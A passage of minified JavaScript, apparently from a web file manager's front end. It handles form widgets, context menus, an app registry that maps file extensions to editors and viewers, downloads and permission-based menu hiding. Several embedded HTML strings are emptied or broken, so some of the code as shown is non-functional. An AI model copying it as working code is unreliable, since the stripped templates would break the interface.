s=0;a.length>s;s++)if(-1!==t.indexOf(a[s])){n=!0;break}for(var s=0;i.length>s;s++)if(-1!==t.indexOf(i[s])){o=!0;break}$(this).datetimepicker({format:t,datepicker:n,timepicker:o,lang:e}).blur(function(){$(this).trigger("change")})})}),t.find(".form-dateTime .input-btn-right").unbind("click").click(function(){$(this).parent().find("input").focus()})},c=function(){e.async("lib/colorpicker/js/colorpicker",function(){t.find(".form-color input").ColorPicker({onBeforeShow:function(e){$(e).attr("input-name",$(this).attr("name")),$(this).ColorPickerSetColor(this.value)},onShow:function(e){return $(e).fadeIn(100),!1},onHide:function(e){return $(e).fadeOut(100),!1},onChange:function(e,t){var a=$($(this).data("colorpicker").el);a.val("#"+t).trigger("change"),a.parent().find(".btn i").css("background",a.val())}}).bind("keyup",function(){$(this).ColorPickerSetColor(this.value),$(this).parent().find(".btn i").css("background",$(this).val())}),t.find(".form-color .input-btn-right").unbind("click").click(function(){$(this).parent().find("input").click()})})},d=function(){t.find(".path-select").die("click").live("click",function(){var e=$(this);core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(t){var t=core.path2url(t);e.parent().find("input[type=text]").val(t).trigger("change")})})},p=function(){seajs.use("lib/select2/css/select2.min.css"),e.async("lib/select2/js/select2.full.min.js",function(){var a=function(t,a){t.on("select2:select",function(e){if(!t.attr("multiple"))return t.select2("close"),void 0;var a=$(e.params.data.element);a.detach(),t.append(a),t.trigger("change.select2")}).on("select2:unselect",function(e){stopPP(e.params.originalEvent)}).on("change",function(){setTimeout(function(){$(window).trigger("resize")},10)}),"group"==a&&t.on("select2:open",function(){e.async("lib/ztree/ztree",function(){h(t,n[a])})});var i=t.attr("data-value");i&&(t.attr("multiple")&&(i=i.split(",")),t.val(i).trigger("change"))};t.find("select").each(function(){var e=$(this),t=e.attr("data-server"),i=!1;"tags"==e.parents(".form-row").attr("data-type")&&(i=!0),t?f(t,function(n){e.select2({data:n,tags:i,tokenSeparators:[","," "],closeOnSelect:!1}),a(e,t)}):(e.select2({closeOnSelect:!1,tags:i,tokenSeparators:[","," "]}),a(e,t))})})},u=function(){var e=t.find(".form-userSelect .btn-group"),a="btn-active",i="hidden";e.find("button").unbind("click").bind("click",function(){var e=$(this).attr("data-type"),t=$(this).parents(".btn-group"),n=t.parent().find(".user-select"),o=t.parent().find(".user-select-"+e);n.filter(":visible"),t.attr("multiple")?"all"==e?(t.find("button").removeClass(a),$(this).addClass(a),n.addClass(i),o.removeClass(i)):($(this).toggleClass(a),o.toggleClass(i),$(this).hasClass(a)?t.find("[data-type=all]").removeClass(a):t.find("."+a).exists()||t.find("[data-type=all]").addClass(a)):(t.find("button").removeClass(a),$(this).addClass(a),n.addClass(i),o.removeClass(i))})},f=function(e,t){var a=function(e){var t=[];for(var a in e)t.push({id:a,text:e[a].name});return t};if(n[e]&&t)return t(a(n[e])),void 0;var i={user:G.appHost+"systemMember/get",group:G.appHost+"systemGroup/get",role:G.appHost+"systemRole/get"};return null==n[e]?(Hook.bind("loadDataServer-"+e,function(){t(a(n[e]))}),void 0):(n[e]=null,$.ajax({url:i[e],dataType:"json",error:function(){n[e]=!1,Tips.tips(LNG.system_error,0)},success:function(i){return i.code?(n[e]=i.data,t&&t(a(n[e])),Hook.trigger("loadDataServer-"+e),void 0):(Tips.tips(i),void 0)}}),void 0)},h=function(e,t){var a=function(e){var t=function(e){for(var a=0;e.length>a;a++)void 0!=e[a]?(e[a].pid=e[a].parentID,e[a].id=e[a].groupID,delete e[a].children,delete e[a].parentID,delete e[a].groupID,e[a].child&&(e[a].children=e[a].child,delete e[a].child,t(e[a].children))):delete e[a]},a=[],i=$.extend(!0,{},e);for(var n in i){var o=i[n],s=o.parentID;if(i[s])i[s].child||(i[s].child=[]),i[s].child.push(i[o.groupID]);else{var r=i[o.groupID];r&&a.push(r)}}return t(a),a},i={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!1,addDiyDom:function(e,t){var a=12,i=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(i).after('').before(''+core.iconSmall("group-guest")+"").removeClass("ico_docu").addClass("group_icon").remove(),t.level>=1){var o="";i.before(o)}$("#"+e+" #"+t.tId+"_a").attr("data-group-id",t.id)}},callback:{onClick:function(e,t,a){n(t,a)}}},n=function(t,a){var i=$("#"+a.tId+"_a");if(i.removeClass("curSelectedNode"),e.attr("multiple")){i.toggleClass("this");var n=e.val();$.isArray(n)||(n=[]),i.hasClass("this")?n.push(a.id):n=_.without(n,a.id),$.each(n,function(){var t=e.find("[value="+this+"]");t.detach(),e.append(t)}),e.val(n).trigger("change")}else $("#"+t+" [treenode_a].this").removeClass("this"),i.toggleClass("this"),e.val(a.id).trigger("change"),e.select2("close")},o=function(){var t=e.val(),a=$(".select2-container--open .group-list-tree").attr("id"),i=$.fn.zTree.getZTreeObj(a);$("#"+a+" [treenode_a]").removeClass("this"),"string"==typeof t&&(t=[t]),t&&i.getNodesByFilter(function(e){inArray(t,e.id+"")&&$("#"+e.tId+"_a").addClass("this")})},s=function(e){var t=$(".select2-container--open .group-list-content");t.find(".select2-results__options,.group-list-tree").removeClass("hidden"),"search"==e?t.find(".group-list-tree").addClass("hidden"):t.find(".select2-results__options").addClass("hidden")},r=function(t){var n=function(e){e.unbind("change input").bind("change input",function(){$(this).val().length>0?s("search"):s("tree")})};if(e.attr("multiple")?n(e.parent().find(".select2-search__field")):n($(".select2-container--open .select2-search__field")),$(".select2-container--open .group-list-tree").exists())return o(),s("tree"),void 0;e.on("open",function(){o()}).on("select2:unselect",function(){o()});var r=UUID(),l='
          ';$(l).appendTo(".select2-container--open .select2-results"),$(".select2-container--open .select2-results__options").addClass("hidden").parent().addClass("group-list-content");var c=a(t);$.fn.zTree.init($("#"+r),i,c);var d=$.fn.zTree.getZTreeObj(r);d&&d.expandAll(!0),o(),s("tree")};r(t)},m=function(){var e={},a=[],n=function(e){for(var t={all:"0",user:"",group:"",role:""},a=e.split(";"),i=0;a.length>i;i++){var n=a[i].split(":");2==n.length&&(t[n[0]]=n[1])}return"0"!=t.all||t.user||t.group||t.role?!0:!1};if(t.find(".form-row").each(function(){var t=$(this),o=$(this).attr("data-type"),s=$(this).find("[name]");$(this).find(".setting-title .require").exists();var r=s.attr("name"),l=!1;switch(o){case"input":case"textarea":case"password":case"number":case"slider":case"color":case"dateTime":case"fileSelect":l=s.val();break;case"switch":l=s.prop("checked")+0+"";break;case"radio":l=s.filter(":checked").attr("value");break;case"checkbox":l=[],s.filter(":checked").each(function(){l.push($(this).val())}),l=l.join(",");break;case"select":case"selectMutil":case"tags":case"group":case"role":case"user":l=s.val(),$.isArray(l)&&(l=l.join(",")),null==l&&(l="");break;case"userSelect":var c={all:"0",user:"",group:"",role:""};t.find(".btn-group .btn-active").each(function(){var e=$(this).attr("data-type"),a="1";"all"!=e&&(a=$(t).find(".user-select-"+e+" select").val(),$.isArray(a)&&(a=a.join(",")),null==a&&(a="")),c[e]=a}),l="all:"+c.all+";user:"+c.user+";group:"+c.group+";role:"+c.role;break;default:}$(this).removeClass("error"),i[r]&&i[r].require&&(l===!1||null===l||"string"==typeof l&&""===l||"userSelect"==i[r].type&&!n(l))?($(this).addClass("error"),a.push({name:r,value:l})):e[r]=l}),a.length>0){Tips.tips(LNG.PluginConfigNotNull,"warning");var o=t.find(".panel-body"),s=t.find(".form-row.error");if(!s.parents(".tab-pane").hasClass("active")){var r=s.parents(".tab-pane").attr("id");t.find('.tab-group [data-id="'+r+'"]').click()}s.inScreen()||o.animate({scrollTop:s.offset().top-o.offset().top+o.scrollTop()},100),s.find("[name]").first().focus(),s.find(".setting-content").flash(3,100)}return{checked:0==a.length,error:a,result:e}},v=function(t){e.async(t,function(e){e&&($.isFunction(e)?e():"object"==typeof e&&e.hasOwnProperty("main")&&$.isFunction(e.main)&&e.main())})},g=function(e){if("string"==typeof e)return v(file),!1;if($.isPlainObject(e.formStyle)&&e.formStyle.loadFile){var t=e.formStyle.loadFile;"string"==typeof t&&(t=[t]),$.isArray(t)&&$(t).each(function(e,t){v(t)})}i=e,a=UUID();var n=template.compile(tplFormMake),o=n({LNG:LNG,items:e,wrapID:a});return o},b=function(e,t,a){var i=g(e);if(!i)return!1;var n={padding:0,fixed:!0,resize:!0,title:LNG.search,ico:core.icon("config"),width:680,height:500,content:i,okVal:LNG.button_save,ok:function(){var e=m();return e.checked?a(e.result):!1}};if($.isPlainObject(t))for(var s in t)n[s]=t[s];var r=$.dialog(n),l=r.DOM.wrap.find(".aui-title").html();return r.DOM.wrap.find(".modal-title").html(l),o(),r};return{makeHtml:g,bindEvent:o,getFormData:m,initDialog:b}}),define("app/common/rightMenuExtence",[],function(){$.contextMenu||($.contextMenu={}),$.contextMenu.show=function(e,t,a){e&&($.contextMenu.hidden(),$(e).contextMenu({x:t,y:a})) -},$.contextMenu.menuShow=function(){var e=$(".context-menu-active"),t=e.data("contextMenu");if(e&&t){var a=t.$menu,i="disable";a.find(".disable").addClass(i),Hook.trigger("rightMenu.show",t.selector,e,a),Hook.trigger("rightMenu.show"+t.selector,e,a)}},$.contextMenu.isDisplay=function(){return 0==$(".context-menu-list:visible").length?!1:!0},$.contextMenu.hidden=function(){$(".context-menu-list").filter(":visible").filter(":not(.menu-not-auto-hidden)").trigger("contextmenu:hide")},$.contextMenu.menuAdd=function(e,t,a,i){var n=!1,o=$.contextMenu.menus;for(var s in o)if(o[s].selector==t){n=o[s];break}if(n&&e){var r=function(e){return e?-1!==e.indexOf("/")?'':'':""},l=function(e,t,a,i){var o=[],s={};if(a){for(var c in t)o.push({key:c,value:t[c]});for(var d=o.length-1;d>=0;d--)s[o[d].key]=o[d].value}else s=t;$.each(s,function(t,o){o.className=o.className||"";var s=t+" "+o.className;if("string"==typeof o)var c='
        • ';else{var d=o.name;o.accesskey&&(d+='('+o.accesskey+")");var c='
        • '+r(o.icon)+""+d+"
        • "}var p=$(c).clone();a?e.$menu.find(a).first().after(p):i&&e.$menu.find(i).first().before(p);var u=p.parent(".context-menu-list").data("contextMenu");p.data({contextMenu:u,contextMenuKey:t,contextMenuRoot:n});var f={$input:null,$label:null,accesskey:o.accesskey,className:o.className,icon:o.icon,name:o.name,_name:d,$node:p};if(u&&(u.items||(u.items={}),u.items[t]=f),"string"!=typeof o&&(e.commands||(e.commands={}),e.commands[t]=f,n.commands[t]=f,n.callbacks[t]=function(e,t){o.callback(e,t)},o.accesskey&&(n.accesskeys[o.accesskey]=f),o.items)){var c='
          ';$(c).appendTo(p),f.$menu=p.find("ul."+t),f.callback=null,f.appendTo=f.$node,f.type="sub",p.data("contextMenu",f).addClass("context-menu-submenu"),p.find("ul."+t).data({contextMenuRoot:n,contextMenu:f}),p.find("li."+t+"-first").data({contextMenuRoot:n,contextMenuKey:t+"-first",contextMenu:f}),f.items||(f.items={}),f.items[t+"-first"]={$input:null,$label:null,icon:"",name:"",_name:"",$node:p.find("li."+t+"-first")},l(f,o.items,"."+t+"-first")}})};l(n,e,a,i)}};var e=function(){return $('').appendTo("#rightMenu"),"function"!=typeof $.contextMenu?console.info("$.contextMenu is not function!"):($.contextMenu({zIndex:9999,selector:".dialog-menu",items:{"dialog-quit":{name:LNG.close,className:"dialog-quit",icon:"remove",accesskey:"q"},"dialog-max":{name:LNG.dialog_max,className:"dialog-max",icon:"resize-full",accesskey:"a"},"dialog-min":{name:LNG.dialog_min,className:"dialog-min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},"open-window":{name:LNG.open_ie,className:"open-window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var a=t.$trigger.attr("id"),i=$.dialog.list[a];switch(e){case"dialog-quit":i.close();break;case"dialog-min":i._clickMin(!1);break;case"dialog-max":i._clickMax();break;case"refresh":i.refresh();break;case"open-window":i.openWindow();break;case"qrcode":core.qrcode(i.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui-title img,.aui-title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),$.contextMenu.hidden()}),void 0)};Hook.bind("rightMenu.show.dialog-menu",function(e,t){var a=e.attr("id"),i=$.dialog.list[a],n="hidden",o=".open-window,.refresh,.qrcode,.context-menu-separator";i.hasFrame()?t.find(o).removeClass(n):t.find(o).addClass(n);var s=".dialog-min,.dialog-max";$("."+a).hasClass("dialog-can-resize")?t.find(s).removeClass(n):t.find(s).addClass(n)}),e()}),define("app/app/appBase",[],function(){var e={},t={},a={},i=!1,n=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),e[a.name]=a,a.ext||(a.ext="");var i=a.ext.split(",");e[a.name].extArr=i,a.sort=a.sort!==void 0?parseInt(a.sort):0;for(var n=0;i.length>n;n++){var o=trim(i[n]);e[a.name].extArr[n]=o,t[o]||(t[o]=[]);for(var s=!1,r=0;t[o].length>r;r++)if(t[o][r].name==a.name){s=!0;break}s||(t[o].push({name:a.name,sort:a.sort}),t[o].length>1&&(t[o]=_.sortBy(t[o],"sort").reverse()))}Hook.trigger("kodApp.add.finished")},o=function(){return t},s=function(i){if(!i||!e[i])return!1;delete e[i];for(var n in a)if(a[n]==i){delete a[n];break}for(var n in t){for(var o=t[n],s=[],r=0;o.length>r;r++)o[r].name!=i&&s.push(o[r]);0==s.length?delete t[n]:t[n]=s}},r=function(i){if(i===void 0){var n=[];for(var o in e)e[o].hidden||n.push(e[o]);return n}var s=a[i],n=[];if(!s&&!t[i])return!1;if(s&&(e[s]?n.push(e[s]):delete a[i]),!t[i])return n;for(var r=0;t[i].length>r;r++){var l=t[i][r].name;e[l]&&l!=s&&n.push(e[l])}return n},l=function(e){i=e},c=function(){return i},d=function(t,a,i){a&&"file"!=a||(a=core.pathExt(t)),i=i?i:"";var n={path:t,ext:a,appName:i};if(!Hook.trigger("kodApp.open.before",n)){if(t=n.path,a=n.ext,i=n.appName)var o=e[i];else{var s=r(a);if(!s||0==s.length)return kodApp.openUnknow(t,""),void 0;var o=s[0]}if(!o)return Tips.tips("["+i+"] not exists",!1);try{o.callback(t,a),Hook.trigger("kodApp.open.after",t,a,o)}catch(l){kodApp.openUnknow(t,""),console.error("kodApp.open error:",l)}}},p=function(t){var a=r(t),i=r("");""==t&&(a=!1),a?a.push({name:""}):a=[],a=a.concat(i);for(var n={},o=0;a.length>o;o++){var s=a[o];""==s.name||s.hidden?n["step-line"]="-------":n[s.name]={app:s.name,name:s.title,className:s.className,icon:s.icon,callback:function(t){var a=e[t];if(a&&a.callback){if($(".context-menu-active"),$(".context-menu-active").hasClass("menu-tree-file"))var i=ui.tree.makeParam();else var i=ui.path.makeParam();a.callback(i.path,i.type)}}}}return n},u=function(e,t){f(e,t),G.userConfig.kodAppDefault=htmlEncode(jsonEncode(a)),G.shareInfo||$.get(G.appHost+"setting/set&k=kodAppDefault&v="+jsonEncode(a))},f=function(t,i){if("string"==typeof t)a[t]=i;else if($.isArray(t))for(var n=0;t.length>n;n++)a[t[n]]=i;else if(e[i]&&$.isArray(e[i].extArr))for(var o=e[i].extArr,n=0;o.length>n;n++)a[o[n]]=i},h=function(){G.userConfig.kodAppDefault="[]",a={}},m=function(t,a){var t=e[t];return t?a?inArray(t.extArr,a):t.ext:!1},v=function(a,i,n){var a=e[a];if(!a)return!1;var o="undefined"==n?0:parseInt(n);0==o&&a.sort!==void 0&&(o=parseInt(a.sort)),"string"==$.type(i)&&(i=i.split(","));for(var s=0;i.length>s;s++){var r=i[s];if(r){inArray(a.extArr,r)||a.extArr.push(r),t[r]||(t[r]=[]);for(var l=!1,c=0;t[r].length>c;c++)t[r][c].name!=a.name||(t[r][c].sort=o,l=!0);l||t[r].push({name:a.name,sort:o})}}},g=function(){if(G.userConfig&&G.userConfig.kodAppDefault)try{var e=G.userConfig.kodAppDefault;e=jsonDecode(htmlDecode(e)),$.isPlainObject(e)&&(a=e)}catch(t){}Hook.bind("rightMenu.show.menu-file,rightMenu.show.menu-tree-file",function(e,t){if(e.hasClass("menu-tree-file"))var a=ui.tree.makeParam();else var a=ui.path.makeParam();var i=core.pathExt(a.path),n="hidden";if(kodApp.getApp(i)){var o=kodApp.getAppMenu(i);t.find("li.open-with.context-menu-submenu").removeClass(n),t.find("ul.context-menu-list.open-with .context-menu-item").not(".open-with-first").remove(),$.contextMenu.menuAdd(o,".menu-file",".open-with-first"),$.contextMenu.menuAdd(o,".menu-tree-file",".open-with-first")}else t.find("li.open-with.context-menu-submenu").addClass(n)}),Hook.trigger("kodApp.ready")};return g(),{debug:function(){return{appList:e,openDefault:t,openUser:a}},add:n,remove:s,appSupportCheck:m,appSupportSet:v,getApp:r,getAppBind:o,getAppMenu:p,setLastOpenTarget:l,getLastOpenTarget:c,setOpenUser:u,setOpenUserLocal:f,clearOpenUser:h,open:d}}),define("app/app/editor",[],function(){kodApp.add({name:"aceEditor",title:LNG["Plugin.default.aceEditor"],sort:0,ext:"txt,textile,oexe,inc,csv,log,asc,tsv,lnk,url,webloc,meta,localized,xib,xsd,storyboard,plist,csproj,pch,pbxproj,local,xcscheme,manifest,vbproj,strings,jshintrc,sublime-project,readme,changes,changelog,version,license,changelog,abap,abc,as,asp,aspx,ada,adb,htaccess,htgroups,htgroups,htpasswd,asciidoc,adoc,asm,a,ahk,bat,cmd,cpp,c,cc,cxx,h,hh,hpp,ino,c9search_results,cirru,cr,clj,cljs,cbl,cob,coffee,cf,cson,cakefile,cfm,cs,css,curly,d,di,dart,diff,patch,dockerfile,dot,dummy,dummy,e,ge,ejs,ex,exs,elm,erl,hrl,frt,fs,ldr,ftl,gcode,feature,.gitignore,glsl,frag,vert,gbs,go,groovy,haml,hbs,handlebars,tpl,mustache,hs,hx,html,hta,htm,xhtml,eex,html.eex,erb,rhtml,html.erb,ini,inf,conf,cfg,prefs,io,jack,jade,java,ji,jl,jq,js,jsm,json,jsp,jsx,latex,ltx,bib,lean,hlean,less,liquid,lisp,ls,logic,lql,lsl,lua,lp,lucene,Makefile,makemakefile,gnumakefile,makefile,ocamlmakefile,make,md,markdown,mask,matlab,mz,mel,mc,mush,mysql,nc,nix,nsi,nsh,m,mm,ml,mli,pas,p,pl,pm,pgsql,php,phtml,shtml,php3,php4,php5,phps,phpt,aw,ctp,module,ps1,praat,praatscript,psc,proc,plg,prolog,properties,proto,py,r,cshtml,rd,rhtml,rst,rb,ru,gemspec,rake,guardfile,rakefile,gemfile,rs,sass,scad,scala,scm,sm,rkt,oak,scheme,scss,sh,bash,bashrc,sjs,smarty,tpl,snippets,soy,space,sql,sqlserver,styl,stylus,svg,swift,tcl,tex,toml,twig,swig,ts,typescript,str,vala,vbs,vb,vm,v,vh,sv,svh,vhd,vhdl,wlk,wpgm,wtest,xml,rdf,rss,wsdl,xslt,atom,mathml,mml,xul,xbl,xaml,xq,yaml,yml,vcproj,vcxproj,filters,cer,reg,config,pem,srt,ass,lrc,opf,ncx",icon:G.staticPath+"images/file_icon/icon_app/ace.png",callback:function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if(core.isApp("editor"))return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var a=t.$.dialog.list.openEditor,i=0;a&&"hidden"==$(a.DOM.wrap).css("visibility")&&(i=200,a.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},i)}else{var n=G.appHost+"editor/edit#filename="+urlEncode(e);G.sharePage!==void 0&&(n=G.appHost+"share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}}});var e=ShareData.frameTop();e.Config&&"editor"==e.Config.pageApp&&kodApp.setOpenUserLocal(!1,"aceEditor")}),define("app/app/openWith",[],function(){kodApp.add({name:"appOpenSetting",title:LNG["Explorer.UI.appSetDefault"],ext:"",icon:G.staticPath+"images/file_icon/icon_others/setting.png",callback:function(e,t){var a="
          ",i=kodApp.getApp(t),n=!1;_.isArray(i)&&(n=i[0].name);var o=template.compile(a),s=o({LNG:LNG,apps:i,defaultApp:n,appAll:kodApp.getApp()}),r=$.dialog({id:"dialog-app-select",className:"menu-empty",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG["Explorer.UI.selectAppDesc"],width:480,height:360,padding:"20px",content:s,ok:function(){return l()}}),l=function(){var a=$("#app-default-checkbox").prop("checked"),i=$(".app-list.active .app-item.select").attr("data-app");return i?(r.close(),kodApp.open(e,t,i),a&&kodApp.setOpenUser(t,i),!0):(Tips.tips(LNG["Explorer.UI.selectAppWarning"],"warning"),!1)};$(".tab-group .tab-item").die("click").live("click",function(){var e=$(this).find("[aria-controls]").attr("aria-controls");"app-list-support"==e?$("#app-default-checkbox").prop("checked",!0):$("#app-default-checkbox").prop("checked",!1)}),$(".app-item").die("click").live("click",function(){$(this).parent().find(".select").removeClass("select"),$(this).addClass("select")}).die("dblclick").live("dblclick",function(){l()})}})}),define("app/app/html",[],function(){var e=function(e){return void 0==e?!1:0===e.indexOf("http")?!0:G.shareInfo||core.pathReadable(e)?!0:(Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),!1)};Hook.bind("kodApp.open.before",function(t){return"folder"==t.ext?(core.isApp("explorer")||isWap()?ui.path.list(t.path+"/"):core.explorer(t.path),!0):e(t.path)?("file"==t.ext&&(t.ext=""),void 0):!0}),kodApp.openUnknow=function(e,t){void 0==t&&(t="");var a=G.appHost+"pluginApp/index&search="+core.pathExt(e),i="kodApp.open(pathHashDecode('"+pathHashEncode(e)+"'),false,'appOpenSetting');",n="kodApp.open(pathHashDecode('"+pathHashEncode(e)+"'),false,'aceEditor');",o="kodApp.download(pathHashDecode('"+pathHashEncode(e)+"'));",s="core.openWindow('"+a+"');",r=LNG.unknow_file_try+'
          '+LNG.unknow_file_tips+"
          "+t+'
          2.'+r+n+'">'+LNG["Explorer.UI.openWithText"]+'
          3.'+r+o+'">'+LNG.unknow_file_download+'
          '+r+s+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
          ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:l,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(e){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(e)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(t){if(e(t)){var a=t;"http"!=t.substr(0,4)&&(a=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(t),G.sharePage!==void 0&&(a=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(t))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(a):$('').appendTo("body")}}}),kodApp.download=function(e){kodApp.open(e,"","download")},kodApp.openWindow=function(e){kodApp.open(e,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(t){if(e(t)){var a=core.path2url(t);isWap()?window.location.href=a:window.open(a)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(e,t){$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(e,t){core.fileGet(e,function(a){if("url"==t){var i=a.match(/URL=(.*)/);if(i.length>=2)return window.open(i[1])}else if("webloc"==t)try{var n=$($.parseXML(a)),o=n.find("string").text();return window.open(o),void 0}catch(s){}kodApp.open(e,t,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(e){var t=core.path2url(e);core.openDialog(t,core.icon("html"),core.pathThis(e))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(e,t){var a=core.path2url(e),i="pdf"+UUID(),n='";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:"80%",height:"75%",padding:0,content:n}),PDFObject.embed(a,"#"+i)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(e){core.fileGet(e,function(t){var a=jsonDecode(t);a.name=core.pathThis(e),core.openApp(a)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(e){core.fileGet(e,function(t){var a=jsonDecode(t);a.name=core.pathThis(e),a.path=e,ui.path.pathOperate.appEdit(a)})}});var t={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(t,".menu-body-main",".app-install"),$.contextMenu.menuAdd(t,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(t,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(e,t,a){var i=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(a.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),a.removeClass("menu-auto-fit"),a.inScreen()||a.addClass("menu-auto-fit"),".menu-body-main"==e){var n=a.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?n.removeClass("hidden"):n.addClass("hidden")}if(_.include(i,e)){var o="disabled",s=".cute,.rname,.remove",r=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";t.hasClass("file-not-readable")?a.find(r).addClass(o):a.find(r).removeClass(o),t.hasClass("file-not-writeable")?a.find(s).addClass(o):a.find(s).removeClass(o)}}),Hook.bind("rightMenu.show.menu-body-main",function(e,t){var a=".upload,.past,.newfolder,.newfile",i="disabled";_.get(G,"jsonData.info.canUpload")?t.find(a).removeClass(i):t.find(a).addClass(i)}),Hook.bind("rightMenu.show.menu-file",function(e,t){if($(".context-menu-active").hasClass("menu-tree-file"))var a=ui.tree.makeParam();else var a=ui.path.makeParam();var i=core.pathExt(a.path),n="hidden";inArray(["jpg","jpeg","png"],i)?t.find(".set-background").removeClass(n):t.find(".set-background").addClass(n)});var a=function(){var e=".close-item,.refresh,.newfile,.past,.info",t=".open-browser",a=".explorer,.create-project,.open-project",i=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",n=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",o=$(".menu-tool-path"),s="disabled",r=ui.fileLight.fileListSelect();o.find(".context-menu-item").addClass(s),0==r.length?o.find(e).removeClass(s):1==r.length?(o.find(".context-menu-item").removeClass(s),"folder"==ui.fileLight.type(r)?o.find(t).addClass(s):o.find(a).addClass(s)):r.length>1&&o.find(i).removeClass(s),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&o.find(n).filter(":not(."+s+")").addClass(s)};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){a(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){a()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var e="hidden";if(core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),$(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open-text").addClass(e),$(".pathinfo .open-window").addClass(e),$(".context-menu-list .open-browser").addClass(e)),core.authCheck("explorer.search")||$(".context-menu-list .search").addClass(e),core.authCheck("explorer.mkdir")||$(".context-menu-list .newfolder").addClass(e),core.authCheck("userShare.set")||$(".context-menu-list .share").remove(),core.authCheck("explorer.mkfile")||$(".context-menu-list .newfile,.tool-path-newfile").addClass(e),core.authCheck("explorer.mkdir")||$(".context-menu-list .newfolder,[data-action=newfolder]").addClass(e),core.authCheck("explorer.pathCopy")||($(".context-menu-list .cute").addClass(e),$(".context-menu-list .copy").addClass(e)),!core.authCheck("explorer.fileUpload")){$(".context-menu-list .upload").addClass(e);var t=$("[data-action=upload-more]");t.exists()&&t.parent().addClass(e)}}})}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n 